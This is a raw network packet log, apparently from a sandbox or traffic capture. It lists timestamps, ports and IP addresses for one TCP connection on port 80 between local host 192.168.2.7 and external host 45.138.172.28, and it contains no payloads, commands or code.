Aug 21, 2021 21:46:32.712013960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712018013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712038040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712048054 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712063074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712089062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712089062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712110043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712130070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712136030 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712152004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712176085 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712184906 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712199926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712223053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712230921 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712246895 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712271929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712343931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712368965 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712393045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712415934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712443113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712444067 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712470055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712486982 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712493896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712526083 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712563038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712575912 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712585926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712606907 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712627888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712637901 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712651014 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712675095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712688923 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712698936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.712728024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.712765932 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.740150928 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740184069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740206957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740231037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740263939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740292072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740324020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740348101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740395069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740431070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740499973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740537882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740572929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740608931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740647078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740684986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740721941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740742922 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.740763903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740864038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740901947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.740966082 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.741008043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741045952 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741080999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741120100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741157055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741245031 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.741255045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741260052 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.741266012 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.741311073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741369963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741547108 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.741611004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741656065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741693020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741727114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741764069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741799116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741806984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.741837025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741878986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741951942 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.741991997 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.742029905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.742068052 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.742109060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.742140055 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.742223978 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.742274046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.742352962 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.743297100 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.743573904 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.743741035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.743803024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.743835926 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.743859053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.743915081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.743971109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744026899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744026899 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.744107008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744165897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744206905 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.744266987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744328976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744386911 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744450092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744487047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744501114 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.744518042 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.744560957 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744622946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744661093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744699001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744736910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744775057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744807959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744847059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744883060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744926929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744966030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.744966984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.744985104 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.744990110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.745003939 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.745004892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745040894 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745074987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745102882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745137930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745172977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745208025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745213985 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.745242119 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745277882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745316982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745347023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745385885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745423079 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745460987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745501041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745599031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745639086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745676994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745714903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745752096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745799065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745846033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745884895 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745927095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745965004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.745965004 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.746009111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.746048927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.746084929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.746124029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.746162891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.746242046 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.746449947 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.775485039 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775537014 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775557041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775578022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775598049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775614977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775639057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775665045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775691986 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775713921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775736094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775758028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775779009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775804996 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775829077 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775851011 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775867939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775890112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775916100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775938988 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775964022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.775985956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.776010036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.776031017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.776052952 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.776074886 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.776103973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.776135921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.776164055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783219099 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783267975 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783272028 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783273935 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783277035 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783279896 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783282995 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783286095 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783288956 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783291101 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783293962 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783297062 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783299923 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783303022 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783319950 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783356905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783374071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783395052 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783421040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783447981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783473015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783497095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783521891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783545017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783570051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783593893 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783617973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783643007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783665895 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783690929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783714056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783736944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783760071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783783913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783806086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783829927 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.783931017 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783946037 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783948898 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783951044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783953905 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783956051 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783957958 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783960104 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783962965 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783965111 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783967018 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783968925 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783971071 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.783972979 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.816072941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.816101074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.816117048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.816328049 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.816503048 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.924427032 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.950928926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951006889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951106071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951172113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951195002 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951203108 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951242924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951256990 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951267958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951288939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951307058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951353073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951370001 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951436043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951467991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951524019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951530933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951548100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951569080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951613903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951613903 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951637030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951672077 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951715946 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951725006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951756001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951778889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951817036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951843977 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951855898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951858997 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951879025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951900005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951937914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.951941967 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.951966047 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952009916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952030897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952054024 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952089071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952088118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952124119 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952125072 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952146053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952204943 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952331066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952411890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952522039 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952589035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952614069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952635050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952658892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952681065 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952701092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952721119 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952723980 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952742100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952763081 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952763081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952765942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952785015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952805996 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952807903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952831984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952850103 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952852011 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952872992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952893972 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952914000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952929020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952948093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952955008 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952963114 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952966928 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.952969074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.952989101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953003883 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.953010082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953027964 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953047991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953066111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953068018 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.953088999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953088999 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.953109980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953130007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.953141928 CEST	49738	80	192.168.2.7	45.138.172.28
